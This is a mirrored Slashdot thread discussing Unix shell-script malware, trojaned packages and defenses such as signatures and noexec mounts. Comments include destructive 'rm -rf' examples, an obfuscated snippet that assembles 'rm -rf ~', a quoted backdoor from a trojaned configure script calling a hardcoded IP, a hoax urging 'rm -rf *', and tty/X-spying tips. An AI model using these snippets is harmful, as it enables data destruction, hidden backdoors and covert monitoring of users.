Slashdot Mirror


Unix Shell-Scripting Malware

sheriff_p writes: "Virus Bulletin are running an article on Unix shell scripting malware, citing a 'zeitgeist' of interest in *nix malware following the release of {Win32/Linux}/Simile.D. The article looks at possible infection methods, possible actions the virus could take, and at a couple of real-world examples..."

82 of 212 comments (clear)

  1. Easy linux virus transport format: by Anonymous Coward · · Score: 5, Insightful
    RPM


    Come on, how many of you check those MD5s?

    I bet you all just download the thing from whatever mirror and install it as root.

    1. Re:Easy linux virus transport format: by Louis_Wu · · Score: 2
      Speaking of which, I've been looking for ways to install programs as a priveleged user, but with access limited to only what's needed to install a program. Is there a way to do this? Do I need to create a user and manipulate permissions to do this? Is there an easier solution.

      I haven't checked the authenticity of programs I've downloaded (it's a good thing that I haven't downloaded too much), so I'm living dangerously; I'd like to be safer.

    2. Re:Easy linux virus transport format: by kylus · · Score: 3, Interesting

      You could take a look at the NSA's Security Enhanced Linux patch, which allows for a much finer-grained control over access to files on the system. It's a bit complex but it sounds like the answer to your question.

      --
      --Kylus
      Idiot-proof something, and Life will build a better Idiot.
    3. Re:Easy linux virus transport format: by Louis_Wu · · Score: 2, Funny

      I might have to take off my aluminum foil hat to do that! :) Thanks for the advice, I'd forgotten about No-Such-Agency's mod.

    4. Re:Easy linux virus transport format: by ninewands · · Score: 2

      Like everything else about n*x, the Perl motto holds true. &nbspTMTOWTDI (There's More Than One Way To Do It).

      Simplest and most traditional way to set this up would be to create a group (named, say "installers") and add yourself to it, then change the group ownership of /usr/local to this group. Change the permissions on /usr/local to 775 and you are done. If you are wanting to install stuff in /usr instead of /usr/local, I really recommend you not do this. The basic system binaries should remain the property of root.

      A more secure way to do it would be the way the previous poster said. Install the LSM patch and the LSM implementation of the NSA's SELinux kernel mods. I've not used it, but my understanding is the its role-based permissions allow you to do away with uid 0 in toto.

    5. Re:Easy linux virus transport format: by Chuuk+Noris · · Score: 3, Informative

      Come on, how many of you check those MD5s?

      I don't. If someone has replaced an RPM then they can probably replace a simple MD5 sum as well. Unless of course the hashes are stored at a different, secure location. But how many vendors do that?

      What you should be checking are PGP signatures.

      Assuming, of course, that you can be sure that you have a legitimate public key. Even so, the damage that could be caused by replacing a company's public key on their website or a keyserver would be slim to none. Only the people who download the new key before the change is caught would be effected.

      --
      -- "--," ?
    6. Re:Easy linux virus transport format: by btellier · · Score: 3, Informative

      Checking MD5's.. bah. Check them against what? What the web page tells you they should be? If the server holding the RPM's has been hax0red and the RPM's have been trojaned why wouldn't the hacker just replace the MD5 signatures as well?

      Oh sure, hold them in a "secure location". Obviously these people who get their servers hacked and their RPM's trojaned have an excellent idea of what a secure server is.

      The best way isn't to check MD5's but instead to do all your rpm queries before installing and use the most verbose settings possible while installing.

    7. Re:Easy linux virus transport format: by scrytch · · Score: 2

      Simple solution to that problem: web of trust. A replaced key would have to replace the entire web of trust. Trusting a key that is not itself signed is like not using signatures at all.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    8. Re:Easy linux virus transport format: by Afrosheen · · Score: 2

      Makes me grateful I run Mandrake 8.2 most of the time. Any urpmi activity from the internet is precluded with an md5checksum routine. Mandrake users: launch rpmdrake from a console and hit the MandrakeUpdate button. You'll see what I'm talking about.

      Now about those other distros that use RPM, I have no idea.

    9. Re:Easy linux virus transport format: by arivanov · · Score: 2

      So?

      This helps you only for mirrors. It does not help you a single bit for packages or source that has been built or mantained by the compromised site because it is likely that its keys are compromised as well.

      --
      Baker's Law: Misery no longer loves company. Nowadays it insists on it
      http://www.sigsegv.cx/
    10. Re:Easy linux virus transport format: by LinuxHam · · Score: 3, Informative

      Come on, how many of you check those MD5s?

      Actually, Ximian's Red Carpet does it automatically, so many of us do. Whether they're checking against MD5's published at RedHat or Ximian (a Good Thing) or checking against MD5's that are just brought down as part of the mirroring process (a Bad Thing), I don't know.

      --
      Intelligent Life on Earth
    11. Re:Easy linux virus transport format: by Mark+Bainter · · Score: 2
      Shyeah. Cause all those people doing binary installs with dpkg always check their packages.

      I'm so tired off all this anti-rpm bullshit. The best you can hope for is to get your packages from a trusted source. Yes it is a good idea to check the md5 signatures, but seeing as how they are generally stored together with the packages it's quite likely they were changed too, so it doesn't give you much.

      Signing/checking with public key signing is much much better.

      The same exact problems plaque binary AND source tarballs. So singling out a single pkg format is just ridiculous.

      --
      "No nation could preserve its freedom in the midst of continual warfare."
      --James Madison
    12. Re:Easy linux virus transport format: by scrytch · · Score: 2

      Maintainer builds package. Maintainer signs package. Maintainer's key is signed by distribution site. Distribution site's key is signed by many other maintainers, including the maintainer you trust. Big web of trust, long as you remember that they're only verifying authenticity, not intent.

      A maintainer's secret key is compromised, without their knowledge, and used to write malware: you are SOL. For all technical purposes, it is the maintainer you trusted that inserted the malware.

      Your 'So?' is like saying the bank vault door is useless if the lock on it isn't strong or isn't locked. True enough, but it doesn't really say much unless the lock is indeed weak or unlocked.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
  2. Unix is behind the times again! by Fantanicity · · Score: 5, Funny

    Windows has had batch file viruses for ages.

    1. Re:Unix is behind the times again! by CoolVibe · · Score: 2
      NOTE: sarcasm

      Well, shall we remove all scripting from the UNIX shells so these threats don't have a chance? Oh, and lets boycot perl too. It's too damn flexible. A malicious user could write a virus with it with great ease! Oh, and while we're at it, lets abolish compilers too. *mutter* *mutter* *mutter*

      (yes, this wasn't meant seriously. but it _is_ on topic :)

  3. Re:And... by JoeBuck · · Score: 3, Insightful

    Actually, if I were inclined to mod you down, it would be because the first Unix worm came out in 1988.

  4. Some points to note...this is not so new by Real+World+Stuff · · Score: 3, Interesting

    The problem with trying to pipe both input and output to an arbitrary slave process is that deadlock can occur, if both processes are waiting for not-yet-generated input at the same time. Deadlock can be avoided only by having BOTH sides follow a strict deadlock-free protocol, but since that requires cooperation from the processes it is inappropriate for a popen()-like library function.

    The 'expect' distribution includes a library of functions that a C programmer can call directly. One of the functions does the equivalent of a popen for both reading and writing. It uses ptys rather than pipes, and has no deadlock problem. It's portable to both BSD and SV. See the next answer for more about 'expect'.

    There are a few different ways you can do this, although none of them is perfect:
    * kibitz allows two (or more) people to interact with a shell (or any arbitary program). Uses include:
    - watching or aiding another person's terminal session;
    - recording a conversation while retaining the ability to scroll backwards, save the conversation, or even edit it while in progress;
    - teaming up on games, document editing, or other cooperative tasks where each person has strengths and weakness that complement one another. For example:
    1) kibitz comes as part of the expect distribution.
    2) kibitz requires permission from the person to be spyed upon.

    To spy without permission requires less pleasant approaches:
    * You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question,
    displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
    have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.

    * If you want to do this to a particular hard-wired terminal all the time (e.g. if you want operators to be able to check the console terminal of a machine from other machines), you can actually splice a monitor into the cable for the terminal. For example, plug the monitor output into another machine's serial port, and run a program on that port that stores its input somewhere and then transmits it out
    *another* port, this one really going to the physical terminal. If you do this, you have to make sure that any output from the terminal is transmitted back over the wire, although if you splice only into the computer->terminal wires, this isn't much of a problem. This is not something that should be attempted by anyone who is not very familiar with terminal wiring and such.

    --
    If we don't fight for ourselves no one will.
    1. Re:Some points to note...this is not so new by digitalhermit · · Score: 4, Interesting

      To spy without permission requires less pleasant approaches:
      * You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question, displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
      have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.


      Some thoughts on seeing what someone else sees:

      If you can manage to get read permissions on Linux under /dev/vcs* you can also read the virtual consoles directly. This *might* require root access, but not always :).

      screen can be setup with similar functionality to kibitz.

      With insecure X permissions, you can use xwd to dump images from a remote xserver. With a short script you can also grab remote keypresses and events for logging.

    2. Re:Some points to note...this is not so new by Erotomek · · Score: 2, Interesting

      With insecure X permissions, you can use xwd to dump images from a remote xserver. With a short script you can also grab remote keypresses and events for logging.

      It reminds me about OS (Output Spy, not Operating System) from many, many years ago. Here's an OS and JEDGAR story from the Jargon File:

      This story says a lot about the ITS ethos.

      On the ITS system there was a program that allowed you to see what was being printed on someone else's terminal. It spied on the other guy's output by examining the insides of the monitor system. The output spy program was called OS. Throughout the rest of the computer science world (and at IBM too) OS means `operating system', but among old-time ITS hackers it almost always meant `output spy'.

      OS could work because ITS purposely had very little in the way of `protection' that prevented one user from trespassing on another's areas. Fair is fair, however. There was another program that would automatically notify you if anyone started to spy on your output. It worked in exactly the same way, by looking at the insides of the operating system to see if anyone else was looking at the insides that had to do with your output. This `counterspy' program was called JEDGAR (a six-letterism pronounced as two syllables: /jed'gr/), in honor of the former head of the FBI.

      But there's more. JEDGAR would ask the user for `license to kill'. If the user said yes, then JEDGAR would actually gun the job of the luser who was spying. Unfortunately, people found that this made life too violent, especially when tourists learned about it. One of the systems hackers solved the problem by replacing JEDGAR with another program that only pretended to do its job. It took a long time to do this, because every copy of JEDGAR had to be patched. To this day no one knows how many people never figured out that JEDGAR had been defanged.

      Interestingly, there is still a security module named JEDGAR alive as of late 1994 -- in the Unisys MCP for large systems. It is unknown to us whether the name is tribute or independent invention.

      --

      Krótko: kady Erotomek
      W pimiennictwie ma swój domek.

  5. Re:And... by meringuoid · · Score: 2, Informative

    Actually, the Morris Internet Worm struck way, way back in 1988...

    --
    Real Daleks don't climb stairs - they level the building.
  6. Re:And... by overbom · · Score: 3, Funny


    One thing to consider is which side of the cross-system vulnerability the mass distribution of the virus is coming from. Is it coming from a large handful of UNIX/Linux servers or is it going to come from the ENORMOUS FRICKING SLEW OF OPEN RELAY EXCHANGE SERVERS AND THE DROOLING HORDE OF UNPATCHED NO-VIRUS PROTECTION SLACK-JAWED OUTLOOK USERS?

    Second, to be anal and nitpicky -- The first unix worm came out in about '88, it was the now-famous sendmail worm.

    A parting thought -- people in IT tend to bash the products that they support that suck.

  7. Re:And... by MrResistor · · Score: 2

    Like just about everything else in computing, worms were also invented in Unix. There's a good reason we haven't heard of any in the last 10 years or so. It seems to be time for you to bone up on your history of computing.

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  8. Re:And... by Llanfairpwllgwyngyll · · Score: 2

    Of course, windows didn't actually get as far as COLOUR until after the 1988 Morris worm. Does Virus Building Script programming *work* in monochrome? (I have windows versions 1.03 and 2.0 sitting in my Black Museum of Computer History :-)

  9. Re:And... by dzym · · Score: 2

    I suppose Ramen doesn't count.

  10. Not that special... by CoolVibe · · Score: 5, Insightful
    A *NIX trojan/malware is easy to craft.

    For example, take shell archives (shar). Nobody even bothers to read through them, and it's real easy to stick a

    rm -rf $HOME

    in there somewhere. There, instant malware. And it's age-old. What about ./configure scripts? Or Makefiles? Nice targets to pass on to the unsuspecting punter.

    1. Re:Not that special... by digitalhermit · · Score: 3, Interesting

      Certainly it's easy to create scripts that can do nasty things. I guess the main difference between some other OS vulnerabilities is that to infect a machine, I may need only send an email. For some other OSes, I would need to send a package, have them su to root, run ./configure and make install. In any case, I'm not convinced that any OS is inherently more secure than any other.
      For example, at the last company I worked for, the access to a database system was done through a .profile that automatically launched the db client. On exit from the client it would automatically log the user out. Apparently they believed that this would disable access to the shell for the user. Unfortunately, it was a simple matter to print an ASCII report and overwrite the .profile, thus allowing the next login to enjoy the benefits of the shell.

    2. Re:Not that special... by CoolVibe · · Score: 2
      Yup indeed. You made my point even better.

      Thank you for that :)

      Oh, I love UNIX, I use it exclusively at home, but people saying thatt *nix is invincible 1) piss me off, 2) should hand in their advocacy badges. The malware suddenly "appearing" in popular unixes just goes to show that how more visible a platform becomes, the more viruses [1] suddenly appear.

      By the way, using the printing facility to overwrite files in $HOME is more like making software do what it's not supposed to do just to prove a point: a hack, be it one that's possible often (a bit like printing to a file called `/bin/sh -i |` or something else in that ilk :) But yes, "malware" could exploit these bugs and "spread" futher.

      [1] No I don't spell it like 'virii' anymore. Webster's told me not to

    3. Re:Not that special... by CoolVibe · · Score: 2
      Yep, the good ole Ken Thompson classic :)

      Now _HOW_ the _FRIGGIN_ hell did login get trojaned?!?! I'm _sure_ I reainstalled the compiler from scratch. It _can't_ be from there! ;-) <-- notice the wink, yes an attempt at sarcasm.

    4. Re:Not that special... by John+Hasler · · Score: 2

      Why would you run ./configure as root? And the only make command you might need to run as root is 'make install'.

      If you want to be paranoid you could download only official Debian source packages and always check the signatures.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    5. Re:Not that special... by CoolVibe · · Score: 2
      There are clueless people out there that do it and cause it to "spread". Just like those dunces that click on trojaned outlook attachements.

      Tha apt argument: Being a little paranoid about signatures is not a bad thing. But what if your local debian mirror becomes compromised? Would you notice? I doubt it. Will apt notice? I don't think so.

    6. Re:Not that special... by btellier · · Score: 5, Interesting

      >What about ./configure scripts?

      Actually that seems to be the new trend amongst hax0rs who trojan program distributions. Recently it was reported to bugtraq that monkey.org was compromised and several programs including fragroute and dsniff were altered. Read the explanation of how that happened here.

      What did the hax0rs add? A little present in the ./configure script. Among other things it creates a .c file called conftest with some interetsing "checks" in it:

      ...
      + sa.sin_addr.s_addr = inet_addr("216.80.99.202");
      if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) ...

      It connects to the above address on port 6667 and does some other nonsense. Then it's compiled and run. The user is none the wiser unless he takes the time to read the ENTIRE ./configure script.

      You can find the full diff here.

    7. Re:Not that special... by John+Hasler · · Score: 2

      "But what if your local debian mirror becomes compromised? Would you notice? I doubt it. Will apt notice? I don't think so."

      How is the cracker going to get himself added to the Debian keyring?

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    8. Re:Not that special... by CoolVibe · · Score: 2
      Exactly! Mod the parent up please. It's an excellent example.

      Another option is to trojan a deeply buried Makefile or a Makefile.in in some application. Good luck digging through all the Makefiles or Makefile.in files for weird make targets...

      Heck, one could even use the make @ prefix to make compiling that little trojan app silent...

    9. Re:Not that special... by CoolVibe · · Score: 2
      How about compromising a debian developer's machine and grabbing his/her passphrase with a software keylogger that hooks the tty?

      Not to crack down apt, it's a neat system. But it's not perfect. Nothing is.

      End of pissing contest please...

    10. Re:Not that special... by quantaman · · Score: 2, Funny

      rm -rf $HOME

      What does that command do again? Hmm, could use man but those pages are always such a pain... well why don't we just type er in the console and see what happens...
      hey!
      where is my ...
      wait a min...

      NOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!

      --
      I stole this Sig
    11. Re:Not that special... by CoolVibe · · Score: 2
      well, that would work somewhat, but what if it's obfuscated :)

      I guess you might be somewhat in the right direction if you make the -i switch for rm the default (with an alias or something). Then it will ask you if you're sure you want to erase $HOME.

      Trying a suspect script out in a chrooted cage or a non-networked FreeBSD jail would be an idea too.

    12. Re:Not that special... by friedmud · · Score: 2

      Problem with that....

      What do you think "make uninstall" does??? A WHOLE BUNCH OF rm -f! That command doesn't exist just so people can talk about it on slashdot....

      Derk

    13. Re:Not that special... by Erotomek · · Score: 2, Insightful

      A *NIX trojan/malware is easy to craft. For example, take shell archives (shar). Nobody even bothers to read through them, and it's real easy to stick a rm -rf $HOME in there somewhere. There, instant malware. And it's age-old. What about ./configure scripts? Or Makefiles? Nice targets to pass on to the unsuspecting punter.

      It's easy to stick "rm -rf $HOME" but it's also easy to grep for "rm -rf" or similar strings. It can be much more dangerous with such code like this:

      #!/bin/sh
      lots of code...
      some code;b=m;some code
      lots of code...
      some code;b=r$b;some code
      lots of code...
      some code;c=r;some code
      lots of code...
      some code;d=f;some code
      lots of code...
      some code;c=-$c;some code
      lots of code...
      some code;c=$c$d;some code
      lots of code...
      some code;e=~;some code
      lots of code...
      some code;a="$b $c";some code
      lots of code...
      some code;a="$a $e";some code
      lots of code...
      some code;$a;some code
      lots of code...

      Here the ;$a; is the killer. A simple Perl script could insert parts of such commands into a configure script. The only solution is to not run any code which you don't trust. It can be quite difficult (if not impossible), because you not only have to trust the author that he's not evil, but also you have to trust that he was never r00ted by someone evil. I think that I can be safe apt-get'ting software from push-primary/secondary Debian mirrors (I think that their admins are good and before the software gets to the mirrors it's checked by the Debian folks — maybe Sid may be not safe, but Woody and Potato are checked by many people, by reading the code, as well as by running the software), but probably trusting the CPAN is not very safe, because the code is not checked by anyone before it gets to the mirrors, so if a PAUSE user is r00ted by evil haxorz, his code on CPAN can be easily trojaned.

      (for lame filter: x384yrgnfqpeiruchf,xoerjg,cnw;orihj,adoixhjeorg,xw rg uiirumzgipergpiwehrx,gcmopeirjhpqojtcn 3409ic p34c1541xc541 ewsfdcerycwty r;qeiorqo;ewirjfoqeir hoqeirh oqeirh oiwerhfoq;wihrt134pq'wo e'rqwj v0u45tnv 0245tvuj45yji2c6 y2 y62y6vf reihfoqieurc0143[x'.rqszmq39u4sxn18yt38pas,u54z2 2p9syt29pasyt2qtputa/ori)

      --

      Krótko: kady Erotomek
      W pimiennictwie ma swój domek.

    14. Re:Not that special... by Art+Tatum · · Score: 2
      Trying a suspect script out in a chrooted cage or a non-networked FreeBSD jail would be an idea too.

      True. But what if the script doesn't do anything obviously harmful? What if it just phones home or installs a slightly modified binary that will phone home? A really obvious attack ('rm -rf') is actually less problematic than something subtle. Using your machine for illegal acts or slight modification of a database (think financial here) could be far worse.

  11. Uhhhh, huh? by Misuta+Supakulo · · Score: 5, Insightful

    I guess someone forgot that long before windows ever existed old school operating systems like unix and vms were being "haxored" like there was no tomorrow. Don't forget that the big, bad Morris worm of 19 friggin' 88 was an exploit of BSD unix. The reason MS software is the punching bag these days is largely because 1) unix has had time to mature and correct its mistakes, 2) the concept of a windows system administrator is pretty much laughable and windows services are just about written with that in mind (IIS is pretty much designed to be administerable by brain-dead monkies, for example), and 3) microsoft's iron grip monopoly hold on a few areas (workstation OS's) has made it complacent when it comes to quality and security.

    Regardless, unix never was and is not currently invulnerable to these kinds of attacks. The major reason why the vulnerabilities of unix systems and related software has not received much publicity (or much concentration of effort from "hackers") is because, as in the wild, it is simply so much easier to pray on the diseased and enfeebled.

    --

    --
    He lied to us through song. I hate when people do that!
    1. Re:Uhhhh, huh? by I_redwolf · · Score: 3, Insightful

      1) Unix has always been alot more functional and featureful when it came to anything back then. IE: Dos didn't even multitask

      2) I agree with, but just because it's designed to be controlled by a brain dead monkey doesn't mean that it should be insecure. For instance NASA/RSA/etc create interfaces to far more critical components that can't afford to fail; they are controlled by monkeys. Another example is simply Mac OS X, they've done a stellar job with administration utilities that make it easy but secure (at least in respect to say Microsoft).

      3) "Hackers/Crackers" who go after the desktop are usually just script kids who take a researched exploit and write some lame stupid trojan that preys on as you said the feeble. However it becomes harder to break a system that has been tried/tested and proved over time. As you say, unix never was invulnerable but it is harder for a unix system to be vulnerable just by it's design. Just like a 4x4 built for off-roading it's still vulnerable to get stuck somewhere like a car; but less vulnerable. Usually on the net if you want a secure box with very few problems you put up a unix system and 9 times outta 10 you won't get stuck.

      So everytime people talk like somehow unix doesn't get hacked because it doesn't have market share I remind them what the net was built on and what it was founded on. I then refer them to the track record of unix in stability and security. Unix has been around longer is more secure and was designed that way, thats why you see less exploits for it. I usually also recommend people actually try to put a rogue rpm/script or whatever out there and see how far it makes it in the wild for a unix system and then duplicate some of the same effects on a windows machine if possible and notice the difference. It really has nothing to do with market share.

  12. Got root? by Trevelyan · · Score: 2, Insightful

    To do anything these viruses need to run as root. But the article make no mention of this, or how a virus could get root.

    If the user is using root as their user account, then its their fault if they get infected. Maybe trick the user, I know I worry about installing closed source stuff as root, hance my UT and Tribes2 is installed under another user.

    Yes a virus could have fun in /tmp doing stuff, and maybe write to a users .bashrc (or equiv) so the virus get to run when ever the user logs in.
    But I dont see how a virus could do much more then mess with that user's files, it cant play with other users on the system (unless they get infected) and it cant attack the system itself

    1. Re:Got root? by Stonehand · · Score: 3, Interesting

      For one thing, there are probably numerous boxes with nice broadband -- a virus could use a user account as a launchpad for a DDOS, for instance. In addition, boxes may be lacking patches or workarounds for any recent local exploits, so one might theoretically be able to get root privs without tricking root.

      Depending on what's limited, one might try to fill up /tmp, generate lots of logs and possibly fill /var/adm/syslog or wherever, maybe fill the process table via fork bomb depending on how processes are limited, grab the user's cookies and browser history files for popular browsers and e-mail them to people, consume large amounts of memory (again, unless limited per user) forcing swap...

      --
      Only the dead have seen the end of war.
    2. Re:Got root? by CoolVibe · · Score: 2
      Quoth the poster:

      > To do anything these viruses need to run as root. But the article make no mention of this, or how a virus could get root.

      Oh ye of little understanding...

      What if a "virus" just nukes your $HOME? Say goodbye to that 45 page thesis you slaved over the last few weeks..

      Or, let's say you are a wheel user, you execute this innocent looking malware, and suddenly a daemon gets started that hooks into your (pseudo) tty (because, when you log in, they get chowned to you) and logs your keystrokes? You su to root, and the keystrokes get mailed somewhere... with your box IP number and username. Well, the attacker just got your root password. Worried yet?

      A "virus" doesn't need root. It just needs a uncareful human.

    3. Re:Got root? by John+Hasler · · Score: 2

      "Oh ye of little understanding..."

      Indeed.

      "What if a "virus" just nukes your $HOME?"

      What if /home is mounted noexec, as it should be?
      A secure system is configured so that only root can install executables.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    4. Re:Got root? by CoolVibe · · Score: 2
      That's kinda tough when you have developers on your system. How the hell are they going to actually _run_ stuff? I think being able to run stuff from your $HOME is a bit of a necessity for people who code for a living.

      If it were just people reading mail and doing basic stuff from the shell you would be right though. But still, what if a user, frustrated because he can't run some app in his $HOME, turns to /tmp, /var/tmp, /usr/tmp or (sometimes) even /var/spool/uucp (which is usally chmodded 1777 and appears on lots of systems that don't even _have_ uucp installed)? Sure, mount your root fs or /usr fs noexec when these dirs are not mounted on a seperate filesystem (which happens on lots of systems)... Have fun recovering :)

    5. Re:Got root? by CoolVibe · · Score: 2
      (Okay I'll bite)

      Windows troll? ROFL! That's the first time someone ever called me that for being critical and a devils advocate. This _must_ be slashdot :)

      Try UNIX administrator and developer with over 7 years of experience with the wonderful platform (Linux, IRIX, *BSD, SunOS and Solaris, if you really want to know).

      I _know_ what I'm talking about. And no, it's not personal experience, just speculation. And real threats.

      Pick up the Practical Internet and UNIX security book from Garfunkel et al, and be enlightened. It's an old book, but it already mentioned malware and trojans on UNIX systems.

      Watch who you're trying to troll. I'm not some fucking newbie.

      And I'll leave it at that :)

    6. Re:Got root? by John+Hasler · · Score: 2

      "That's kinda tough when you have developers on your system. How the hell are they going to actually _run_ stuff?"

      On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only. Give each developer a directory in the scratch filesystem and symlink it into his $HOME. This also will protect you when one of those programs they want to run goes amuck.

      "...what if a user, frustrated because he can't run some app in his $HOME, turns to /tmp, /var/tmp, /usr/tmp..."

      /tmp and /var should be noexec partitions.

      "Sure, mount your root fs...

      Only root needs write permission on the root filesystem.

      or /usr fs noexec..."

      /usr should be read-only.

      ..."when these dirs are not mounted on a seperate filesystem..."

      Such systems are not configured securely.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    7. Re:Got root? by CoolVibe · · Score: 2

      > On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only. Give each developer a directory in the scratch filesystem and symlink it into his $HOME. This also will protect you when one of those programs they want to run goes amuck.

      Only root can write? How can developers create executables then when they can't write them to the filesystem? They have to su to root, or use sudo to run make or gcc? Not a good idea. Even when they have to use different machines to debug/test, people tend to use the same password on multiple systems. When one system is compomised, more usually follow.

      And besides: It still doesn't prevent a trojaned app to start a daemon that hooks the developers tty. That's called a keylogger, and they can run as a normal user, because when you log in, you become the owner of your tty, hence you can read/write from/to it. Add some remote connecting capability or a capability to send mail and your system is compromized.

      It's very hard to stop these kind of attacks. Of course you can try to make a system idiot-proof, but don't forget that the universe creates cleverer and cleverer idiots at a faster rate :)

    8. Re:Got root? by John+Hasler · · Score: 2

      "Only root can write? How can developers create executables then when they can't write them to the filesystem?"

      Read what I wrote:
      "On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only."

      Get it? The scratch system _is_ both writeable by the developers and exec. Nothing else is.

      "And besides: It still doesn't prevent a trojaned app to start a daemon that hooks the developers tty."

      It first has to get itself installed. Want to name a few that have suceeded?

      "It's very hard to stop these kind of attacks."

      I guess that's why Linux is plagued with thousands
      of keylogger trojans.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    9. Re:Got root? by CoolVibe · · Score: 5, Insightful

      > It first has to get itself installed. Want to name a few that have suceeded?

      It only has to run. And by the way, if it's a big project that gets trojaned by someone, it _will_ take you a while until you or other find out. In the mean time between you finding out about the back door, several copies might be running already on you systems.

      You need to get off the "Oh this will not happen to my systems"-stance. Once you think that, get worried. What if it does happen, and sensitive data gets sent to god knows where, gets corrupted or destroyed? What then? Have you taken precautions against that? Not only post-mortem actions (like restoring backups), but how about proactive measures?

      There are lots of ways to audit, protect, restrict access and fix problems, but a 100% secure system is impossible. You are human, I am human. We make mistakes and overloook things. If we code, we introduce bugs into code. Some are very hard to spot. Some are very hard to really fix correctly. Every bug _could_ be a security hazard, and also very well intended features can lead to compromise. It's a scale that balances between security and useability. You can not have lots of both. If you want more security, you need to sacrifice some useability. Do you really think a developer will work on such a restructed machine? I think not (unless you're DJ Bernstein perhaps ;- ). Most developers work from their own workstations to write code, compile, test, debug, fix bugs and commit code into a repository. Having a useable environment with a $HOME they can do their stuff in, a useable shell, a useful editor and a working toolchain. Are they possible victims of a trojan? Possibly. Will they be productive if you hammer their workstations tighly shut with excessive restrictions? Not really.

      Also, a given is that there are many new to any kind of unix that are setting up unix boxen. The software is easy to get a hold of, so lots of novices try their hand at it. I assure you that many of those novices are not well versed in the dark art that is called "security" and will set up their boxes insecurley.

      It's not what _you_ would do, it's the way joe sixpak sets up his newfangled RedHat box, runs a malicios script without even pondering about md5sums, noexec mounting, scratch filesystems, chroot jails, sandboxing, firewalling, security policies and grepping through perl, Makefile, C or shellscript code. Many joe sixpacks will use the root user as their primary user (even though they are recommended to do otherwise).

      So every argument you make, (albeit useful, I could also think of lots of ways to run untrusted code in a sandbox) are kind of moot, because you will only need a few idiots that don't take care. And trust me, there are idiots enough out there. And that goes for all operating environments out there.

      Oh, and why isn't every UNIX box trojaned to hell and back nowadays? That's because unix still off the collective scope of trojan/virus/malware coders. You better take heed and take extra care, because once UNIX gets veru very popular, the things I'm speculating about might verywell become commonplace. What would we do? Switch back to MULTICS? Every MULTICS machine I've heard about is trojan and virus free you know... does dat make it an immune system?

      No system is immune. Period. As long as the machine can run executable code, there is a possibility for a trojan to run rampant, however slight.

    10. Re:Got root? by CoolVibe · · Score: 2

      > Most software vital to keeping the system operational cannot be affected by a non-root user

      tty's are not 'vital' for functionality :) Have a look on your local *nix box, find out on which tty or pty you are, and ls -l the corresponing entry in /dev . Now who is the owner, and which file modes does it have? Yups! it's owned by your userid, and the modes are usually 660 (user group uucp usually, some older systems even use 666, to make nifty stuff like talk(1) and write(1) work properly)

      Yes, you are the full owner of your own tty lines on the systems. You can do anything you wish with them. Read from them, write to them. Your shell does that too. What stops some daemon to hook in and log well.. everything you type? Absolutely nothing. They get reset to root ownership once you log out.

      You are right about the rest though. It's way easier to social engineer someone to run your malicious code than to exploiting with no human assistance :)

    11. Re:Got root? by CoolVibe · · Score: 2

      Well, remember that there are lots of people less careful than most of us. Fine, you use different passwords everywhere. You use a NATted network with private networks. That's good. But some people aren't that careful.

  13. I just got an email about this by Anonymous Coward · · Score: 3, Funny
    Here's a copy of the email I received.

    A new shell-scripting virus has been showing up on computers across the world. It's called the SHIFT8 virus because the virus hides in a shell-script file on your computer named '*'. If not attended to immediately, this could result in the loss of all your data, but not before it is sent to the US Government and Microsoft.

    Luckily, the fix is very simply. When at the command line, all you have to do is type 'rm -rf *' and all your troubles will be gone. Don't worry about having to use the -r and -f options; this virus is tricky and can sometimes only *seem* to be deleted if not removed with both of these options.

    Before you save yourself, please, send this important alert to as many people as possible; they will thank you later!

  14. Re:And... by American+AC+in+Paris · · Score: 3, Funny
    as soon as the first Unix worms come out, what are the /. geeks gonna blame?

    My guess? They'll blame Robert Morris. That's just wild conjecture, though...

    (Yes, yes, shameless self-linking. So sue me.)

    --

    Obliteracy: Words with explosions

  15. virii by bsdparasite · · Score: 3, Insightful
    The strong permissions in UNIX have a way of helping people avoid these viruses, but with the growth of "Desktop" UNIX systems, more and more of these will pop up for sure. Clicking attachments from email, executing them on the fly, and permissions to execute scripts from E-mail software is not just restricted to Windblows. It will permeate the masses as soon as more and more "Desktop" type systems come into place.

    1. Re:virii by GigsVT · · Score: 3, Informative

      Really UNIX permissions are not very strong, they just aren't as braindead as MS ones, and most importantly, most people follow them, and don't requre root unnecessarily.

      For example, as far as I know it is impossible to do this with normal UNIX permissions:

      Allow group "A" read/write access to the directory
      Allow group "B" read only access to the directory
      Allow world no access to the directory

      This is a very common need, which is unfulfilled by UNIX style permission systems.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    2. Re:virii by GigsVT · · Score: 2

      No, it wouldn't be hard to fix. Here is what I propose. Feel free to implement this idea, and critique it.

      Basically, user private groups already have many advantages, all we need to do is patch things to allow the "owner" to be a group, rather than a user. Under user private groups, this would be pretty trivial, since the default owner group is the user private group of the owner.

      This provides an easier way to get finer grained access control, without messing with ACLs or breaking backward compatibility.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    3. Re:virii by sysadmn · · Score: 2

      man -k "acl". Don't know about the free stuff, but commercial unices & unix style OS have had this for a while. Apollo's AEGIS had it ca. 1987 or so...

      --
      Envy my 5 digit Slashdot User ID!
    4. Re:virii by RelliK · · Score: 2

      most proprietary Unixes support ACLs. I know for sure Solaris does. ACL support is also planned in linux 2.6. In the mean time, use the ugly solution posted above.

      --
      ___
      If you think big enough, you'll never have to do it.
    5. Re:virii by crlf · · Score: 2

